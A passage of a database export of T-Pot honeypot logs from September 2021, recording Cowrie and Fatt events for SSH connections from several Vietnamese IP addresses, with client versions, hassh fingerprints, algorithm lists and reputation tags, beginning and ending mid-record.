"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.946742", "@timestamp": "2021-09-20T11:07:32.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22951	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.654128+03	2021-09-20 14:15:06.878471+03	{"_id": "PgbjAnwBvYTbRNuEwgy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8c469a0dbd06", "@version": "1", "duration": 2.4400248527526855, "timestamp": "2021-09-20T11:07:32.654128Z", "@timestamp": "2021-09-20T11:07:32.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22952	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.767467+03	2021-09-20 14:15:06.879471+03	{"_id": "PwbjAnwBvYTbRNuEwgy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9dc1a62066aa", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:32.767467Z", "@timestamp": "2021-09-20T11:07:32.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22953	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.947371+03	2021-09-20 14:15:06.88147+03	{"_id": "QAbjAnwBvYTbRNuEwgy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9dc1a62066aa", "@version": "1", "timestamp": "2021-09-20T11:07:32.947371Z", "@timestamp": "2021-09-20T11:07:32.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22954	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.098185+03	2021-09-20 14:15:06.88247+03	{"_id": "QQbjAnwBvYTbRNuEwgy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5207dab7797c", "@version": "1", "duration": 2.4171183109283447, "timestamp": "2021-09-20T11:07:33.098185Z", "@timestamp": "2021-09-20T11:07:33.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22955	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.403582+03	2021-09-20 14:15:06.88347+03	{"_id": "PQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44428 (192.168.176.2:22) [session: a6e0715f685d]", "session": "a6e0715f685d", "@version": "1", "protocol": "ssh", "src_port": 44428, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.403582Z", "@timestamp": "2021-09-20T11:07:22.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22956	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.645515+03	2021-09-20 14:15:06.88547+03	{"_id": "QAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58830 (192.168.176.2:22) [session: 0d1694153109]", "session": "0d1694153109", "@version": "1", "protocol": "ssh", "src_port": 58830, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.645515Z", "@timestamp": "2021-09-20T11:07:22.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22957	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.942405+03	2021-09-20 14:15:06.88647+03	{"_id": "QgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36684 (192.168.176.2:22) [session: c7c7fbdf7fe8]", "session": "c7c7fbdf7fe8", "@version": "1", "protocol": "ssh", "src_port": 36684, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.942405Z", "@timestamp": "2021-09-20T11:07:22.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22958	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.714949+03	2021-09-20 14:15:06.88747+03	{"_id": "SgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0d1694153109", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.714949Z", "@timestamp": "2021-09-20T11:07:22.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22959	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.075793+03	2021-09-20 14:15:06.888471+03	{"_id": "SwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "890f08f17557", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:23.075793Z", "@timestamp": "2021-09-20T11:07:23.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22960	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.434677+03	2021-09-20 14:15:06.89047+03	{"_id": "UwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a6e0715f685d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.434677Z", "@timestamp": "2021-09-20T11:07:22.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22961	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.945249+03	2021-09-20 14:15:06.89147+03	{"_id": "VQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c7c7fbdf7fe8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.945249Z", "@timestamp": "2021-09-20T11:07:22.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22962	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.003428+03	2021-09-20 14:15:06.89247+03	{"_id": "YAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47292, "timestamp": "2021-09-20T11:07:22.003428", "@timestamp": "2021-09-20T11:07:22.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22963	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.01388+03	2021-09-20 14:15:06.89347+03	{"_id": "YQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60758, "timestamp": "2021-09-20T11:07:22.013880", "@timestamp": "2021-09-20T11:07:22.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22964	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.036133+03	2021-09-20 14:15:06.895471+03	{"_id": "YwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58944, "timestamp": "2021-09-20T11:07:22.036133", "@timestamp": "2021-09-20T11:07:22.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22965	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:22.236183+03	2021-09-20 14:15:06.89647+03	{"_id": "ZQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 